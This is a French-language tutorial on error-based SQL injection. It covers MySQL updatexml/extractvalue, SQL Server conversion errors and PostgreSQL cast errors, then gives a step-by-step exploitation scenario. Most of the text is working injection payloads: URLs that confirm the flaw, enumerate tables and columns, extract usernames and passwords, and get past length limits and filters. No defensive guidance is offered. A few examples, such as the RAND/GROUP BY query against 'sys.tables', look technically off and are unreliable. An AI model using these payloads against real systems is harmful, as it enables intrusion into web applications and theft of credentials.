Principes de l'injection SQL basée sur les erreurs
Cette technqiue exploite les messages d'erreur générés par les systèmes de gestion de bases de données lorsque des requêtes SQL malformées sont exécutées. Lorsque l'application web transmet ces erreurs aux utilisateurs, un attaquant peut en extraire des informations sensibles en concevant des requêtes spécifiques qui échouent de manière contrôlée tout en intégrant les résultats des sous-requêtes dans le message d'erreur.
Le mécanisme repose sur le fait que certaines fonctions ou opérations SQL provoquent des erreurs dont le contenu reflète les données de la base. Par exemple, des erreurs de type violation de clé unique ou d'analyse syntaxique peuvent inclure des fragments de données extraits via des sous-requêtes imbriquées.
Fonctions et méthodes courantes
MySQL: fonctions d'erreur XML
La fonction updatexml() peut être détournée pour provoquer une erreur d'analyse XPath qui affiche des données arbitraires.
-- Déclenchement d'une erreur affichant l'utilisateur courant
SELECT updatexml('//racine', CONCAT('!!', (SELECT CURRENT_USER()), '!!'), 'valeur_incorrecte');
La fonction extractvalue() agit de manière similaire:
-- Extraction du nom de la base via une erreur XPath
SELECT EXTRACTVALUE('//document', CONCAT('##', (SELECT DATABASE()), '##'));
La combinaison CEIL(RAND()*N) avec GROUP BY peut générer des erreurs de duplication d'entrée révélant des données:
-- Erreur de clé dupliquée contenant le mot de passe d'un utilisateur
SELECT COUNT(*), CONCAT((SELECT password FROM accounts ORDER BY id LIMIT 1), CEIL(RAND()*9)) AS grouping_key
FROM sys.tables
GROUP BY grouping_key;
SQL Server: erreurs de conversion
La conversion de type explicite avec CONVERT() ou CAST() génère une erreur informatique lorsqu'elle échoue:
-- Message d'erreur révélant la version du serveur
SELECT CONVERT(INT, @@VERSION);
La division par zéro peut être utilisée lorsque des variables système valent zéro:
-- Déclenche une erreur si aucun enregistrement n'a été affecté
SELECT 1 / @@ROWCOUNT;
PostgreSQL: erreurs de syntaxe d'entrée
Les conversions de type invalides produisent des messages d'erreur détaillés:
-- Affiche la version du serveur dans l'erreur
SELECT CAST(current_setting('server_version') AS BOOLEAN);
Scénario d'exploitation pas à pas
Considérons une application web vulnérable à l'injection SQL, avec une URL comme https://example.com/app.php?item=42, utilisant une base MySQL et affichant les erreurs de base de données.
Étape 1: Valider la vulnérabilité
Une requête de test pour vérifier si les erreurs sont interprétées:
-- Test basique d'injection avec updatexml
https://example.com/app.php?item=42 AND updatexml('//x', '!!', 1)--
-- Une réponse d'erreur XPath confirme l'injection
Étape 2: Collecter des métadonnées
Extraire des informations sur l'environnement:
-- Version de la base
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', @@VERSION, '$$'), 1)--
-- Nom de l'utilisateur de connexion
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', USER(), '$$'), 1)--
Étape 3: Énumérer les objets de la base
Lister les tables en utilisant INFORMATION_SCHEMA:
-- Première table du schéma courant
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', (SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 0,1), '$$'), 1)--
-- Extraire plusieurs noms de tables (limité à 32 caractères par updatexml)
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', SUBSTRING((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()), 1, 30), '$$'), 1)--
Étape 4: Voler les données sensibles
Exfiltrer le contenu des tables ciblées:
-- Colonnes de la table 'members'
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'members'), '$$'), 1)--
-- Noms d'utilisateur et mots de passe
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', (SELECT CONCAT(username, ':', pwd) FROM members LIMIT 1), '$$'), 1)--
Techniques de contournement
Gestion des limites de longueur
L'utilisation de SUBSTRING() ou MID() permet de lire des données segmentées:
-- Première partie des noms de colonnes
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='credentials'),1,30), '$$'), 1)--
-- Partie suivante
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='credentials'),31,30), '$$'), 1)--
Encodage des données
Convertir les données en format hexadécimal peut aider à éviter certains filtres:
-- Encodage de l'utilisateur courant en hexadécimal
https://example.com/app.php?item=42 AND updatexml('//a', CONCAT('$$', HEX(USER()), '$$'), 1)--